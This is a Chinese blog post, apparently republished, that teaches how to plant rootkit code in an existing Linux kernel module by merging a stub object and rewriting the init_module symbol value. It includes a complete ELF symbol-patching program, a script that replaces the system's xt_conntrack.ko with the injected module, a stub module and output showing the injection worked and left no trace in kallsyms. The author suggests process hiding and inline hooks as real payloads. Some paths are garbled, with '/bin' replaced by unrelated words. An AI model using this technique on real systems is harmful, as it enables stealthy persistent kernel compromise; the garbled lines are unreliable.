首页 > 编程知识 正文

rootkit病毒解决方法,rootkit病毒

时间:2023-05-04 03:43:57 阅读:213661 作者:114

前段时间从完成“实时获取系统中TCP半连接数量”这个永远无法上线的半吊子需求开始,一发不可收拾地栽进了Rootkit深坑,有点走火入魔,写了好多篇这方面的随笔并结识了很多朋友,感觉不错。

前面的系列文章中,大多数都是描述某个技术点的,而你想利用这个技术点做点实际的好事或者坏事,其实还有一段很长距离的路要走,比如:

谁给你的root权限?你会编程并且编写Linux内核模块吗?系统中有gcc和make吗?内核模块要求签名验证吗?经理姓刘吗?或者经理姓吴吗?…

以上的每一个单点都是易守难攻,所以说,把自己的Rootkit代码注入系统还是颇有难度的。

本文介绍一种简单的注入方法,即 将你的Rootkit代码注入到一个现有的Linux内核模块中。

很多初学者都干过一件事,即 修改ELF文件或者PE文件的入口函数,让它跳到自己的逻辑。

想做到这个其实很容易,将我们自己的stub obj文件link到既有的可执行文件,然后修改文件的entry即可。只要手边有ELF文件或者PE文件的手册,还有什么不能改的呢。

有趣的是,对于Linux内核模块的注入,要比上面可执行文件的注入容易得多!

因为Linux内核模块根本不靠entry来确定入口,而是依靠init_module symbol确定入口的。

本文以一种轻松的方式叙述,和以往一样,依然不分析内核源码,我希望通过小实验来描述我想表达的东西。

Linux内核模块遵循了ELF文件格式,但是却自定义了加载和执行逻辑。

简单来讲,一个内核模块是通过查找init_module符号来定位入口的,而init_module则属于一个重定位section:

重定位节 '.rela.gnu.linkonce.this_module' 位于偏移量 0xea20 含有 2 个条目: 偏移量 信息 类型 符号值 符号名称 + 加数000000000128 004500000001 R_X86_64_64 0000000000000017 init_module + 0000000000228 004100000001 R_X86_64_64 0000000000000000 cleanup_module + 0

无论哪个模块都是这样。所谓的重定位段,就是在ELF中无法确认其地址,它的最终加载地址需要通过 重定位技术 来搞定。

init_module其实就是内核模块init函数的别名,重定位过程中它的最终地址由其在符号表的表项st_value字段决定!

当我们通过readelf -s读取一个内核模块文件时,我们会发现init_module:

39: 0000000000000000 18 FUNC GLOBAL DEFAULT 4 init_module

第二列那个全0的u64值就是它的st_value。

事情变得简单且有趣,我们只需要将init_module这个符号的st_value改成另一个函数func_stub符号的st_value,那么当模块加载时,就会调用func_stub了。通过ELF的格式解析,做到这个简直太容易了。

现在的问题是,如何把另一个函数func_stub塞进一个既有的内核模块呢?

这个倒也不难,用ld即可:

ld -r $(既有模块) $(hook模块) -o $(新模块)

最后,我们就可以去修改新模块的符号表项的st_value字段了,解析ELF文件即可完成任务。

首先给出我用来修改符号表项st_value字段的程序源码:

// modsym.c#include <stdlib.h>#include <stdio.h>#include <string.h>#include <sys/mman.h>#include <fcntl.h>#include <elf.h>int main(int argc, char **argv){int fd;char *mod;char *orig_func_name, *stub_func_name;unsigned int size, i, j, shn, n;Elf64_Sym *syms, *sym, *init, *hook, *dup;Elf64_Shdr *shdrs, *shdr;Elf64_Ehdr *ehdr;const char *strtab;init = hook = dup = NULL;orig_func_name = argv[2];stub_func_name = argv[3];fd = open(argv[1], O_RDWR);size = lseek(fd, 0L, SEEK_END);mod = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);ehdr = (Elf64_Ehdr *)mod;shdrs = (Elf64_Shdr *)(mod + ehdr->e_shoff);shn = ehdr->e_shnum == 0 ? shdrs[0].sh_size : ehdr->e_shnum;for (i = 0; i < shn; i++) {shdr = &shdrs[i];if (shdr->sh_type == SHT_SYMTAB || shdr->sh_type == SHT_DYNSYM) {syms = (Elf64_Sym *)(mod + shdr->sh_offset);strtab = mod + shdrs[shdr->sh_link].sh_offset;n = shdr->sh_size / shdr->sh_entsize;for (j = 0; j < n; j++) {char stype;sym = &syms[j];stype = ELF64_ST_TYPE(sym->st_info);if (stype == STT_FUNC || stype == STT_NOTYPE) {if (!strcmp(strtab + sym->st_name, "init_module")) {init = sym;}if (!strcmp(strtab + sym->st_name, stub_func_name)) {hook = sym;}}if (stype == STT_NOTYPE) {if (!strcmp(strtab + sym->st_name, orig_func_name)) {dup = sym;}}}if (init && hook) {break;}}}if (init && hook) {if (dup) {// 清理掉已经无用的extern符号memcpy(dup, init, sizeof(Elf64_Sym));}printf(" @@@@@@@@ init func :%s %d %dn", strtab + init->st_name, ELF64_ST_BIND(init->st_info), STB_GLOBAL);init->st_value = hook->st_value;}munmap(mod, size);}

代码很直接,就是找到init_module和我们的hook函数这两个符号项,用hook函数的st_value替换init_module的原始st_value,同时我们需要将stub模块里的extern符号清除掉。

来吧,让我们开始。

首先确认我们要注入的内核模块,我以下面的模块为例来实施注入:

/lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko

下面是一个脚本:

#!/冷酷的鸭子/bash# 备份,防止失败。cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak# 用旧的模块做实验。cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko# 合并stub模块到xt_conntrack.ko。ld -r /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko ./stub.ko -o /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko# 修改新模块中的符号表项。./modsym /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko conntrack_mt_init test_stub# 用被注入的模块作为系统默认模块。cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.kosync

在我的实验里,我只是为xt_conntrack.ko增加了一个模块参数,并且在加载这个模块前将其打印出来:

// stub.c#include <linux/module.h>extern int conntrack_mt_init(void);int aaaa = 123;module_param(aaaa, uint, 0444);MODULE_PARM_DESC(aaaa, "......");int __init test_stub(void){printk("i am a stub, and my value is %dn", aaaa);return conntrack_mt_init();}MODULE_LICENSE("GPL");

来来来,看效果:

[root@localhost test]# dmesg -c[root@localhost test]# service firewalld stopRedirecting to /冷酷的鸭子/systemctl stop firewalld.service[root@localhost test]# service firewalld startRedirecting to /冷酷的鸭子/systemctl start firewalld.service[root@localhost test]# dmesg[ 8019.300351] Ebtables v2.0 unregistered[ 8026.911602] ip_tables: (C) 2000-2006 Netfilter Core Team[ 8026.933152] ip6_tables: (C) 2000-2006 Netfilter Core Team[ 8026.958643] Ebtables v2.0 registered[ 8026.991342] nf_conntrack version 0.5.0 (7941 buckets, 31764 max)[ 8027.224429] i am a stub, and my value is 123[root@localhost test]# cat /sys/module/xt_conntrack/parameters/aaaa123

哈哈,成功为xt_conntrack模块增加了一个参数aaaa,并在其init函数conntrack_mt_init被调用前打印了一句话以及aaaa的值。

如前面的系列文章,我们当然不可能在stub函数里做这么简单的事啊,至少也要隐藏个进程,inline hook啥的。值得注意的是,我们的stub函数是_init修饰的,这意味着当它调用结束后,其内存将被清理掉,不留痕迹:

[root@localhost test]# cat /proc/kallsyms |grep test_stub[root@localhost test]# echo $?1

好玩吗?

我们把ELF文件的各个组成部分看作乐高玩具的话,我们甚至不需要拆解各个细节,单靠重新排列组合就可以构建出各种有趣的东西。

本文介绍的方法是 不需要编程的。 这是我等不懂编程的人的福音!modsym.c确实是一段C代码,但这并不算真正的编程,这只是生产工具的构建,而且这种代码,网上多得是。

经理呢?经理呢?

浙江温州皮鞋湿,下雨进水不会胖。

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。